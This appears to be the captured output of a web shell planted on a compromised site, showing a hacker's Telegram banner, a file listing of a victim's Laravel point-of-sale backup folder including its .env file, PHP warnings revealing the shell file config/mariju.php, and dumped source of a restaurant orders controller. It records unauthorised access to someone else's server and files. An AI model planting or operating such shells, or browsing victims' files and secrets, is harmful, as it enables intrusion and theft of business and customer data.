telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log19668155 KBJuly 18 2025 20:30:440644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
commonUtil = $commonUtil; $this->restUtil = $restUtil; } /** * Display a listing of the resource. * * @return Response */ public function index() { // if (!auth()->user()->can('sell.view')) { // abort(403, 'Unauthorized action.'); // } $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); $is_service_staff = false; $orders = []; $service_staff = []; $line_orders = []; if ($this->restUtil->is_service_staff($user_id)) { $is_service_staff = true; $orders = $this->restUtil->getAllOrders($business_id, ['waiter_id' => $user_id]); $line_orders = $this->restUtil->getLineOrders($business_id, ['waiter_id' => $user_id]); } elseif (! empty(request()->service_staff)) { $orders = $this->restUtil->getAllOrders($business_id, ['waiter_id' => request()->service_staff]); $line_orders = $this->restUtil->getLineOrders($business_id, ['waiter_id' => request()->service_staff]); } if (! $is_service_staff) { $service_staff = $this->restUtil->service_staff_dropdown($business_id); } return view('restaurant.orders.index', compact('orders', 'is_service_staff', 'service_staff', 'line_orders')); } /** * Marks an order as served * * @return json $output */ public function markAsServed($id) { // if (!auth()->user()->can('sell.update')) { // abort(403, 'Unauthorized action.'); // } try { $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); $query = TransactionSellLine::leftJoin('transactions as t', 't.id', '=', 'transaction_sell_lines.transaction_id') ->where('t.business_id', $business_id) ->where('transaction_id', $id); if ($this->restUtil->is_service_staff($user_id)) { $query->where('res_waiter_id', $user_id); } $query->update(['res_line_order_status' => 'served']); $output = ['success' => 1, 'msg' => trans('restaurant.order_successfully_marked_served'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => trans('messages.something_went_wrong'), ]; } return $output; } /** * Marks an line order as served * * @return json $output */ public function markLineOrderAsServed($id) { try { $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); $query = TransactionSellLine::where('id', $id); if ($this->restUtil->is_service_staff($user_id)) { $query->where('res_service_staff_id', $user_id); } $sell_line = $query->first(); if (! empty($sell_line)) { $sell_line->res_line_order_status = 'served'; $sell_line->save(); $output = ['success' => 1, 'msg' => trans('restaurant.order_successfully_marked_served'), ]; } else { $output = ['success' => 0, 'msg' => trans('messages.something_went_wrong'), ]; } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => trans('messages.something_went_wrong'), ]; } return $output; } public function printLineOrder(Request $request) { try { $business_id = request()->session()->get('user.business_id'); $waiter_id = request()->session()->get('user.id'); $line_id = $request->input('line_id'); if (! empty($request->input('service_staff_id'))) { $waiter_id = $request->input('service_staff_id'); } $line_orders = $this->restUtil->getLineOrders($business_id, ['waiter_id' => $waiter_id, 'line_id' => $line_id]); $order = $line_orders[0]; $html_content = view('restaurant.partials.print_line_order', compact('order'))->render(); $output = [ 'success' => 1, 'msg' => trans('lang_v1.success'), 'html_content' => $html_content, ]; } catch (Exception $e) { $output = [ 'success' => 0, 'msg' => trans('messages.something_went_wrong'), ]; } return $output; } }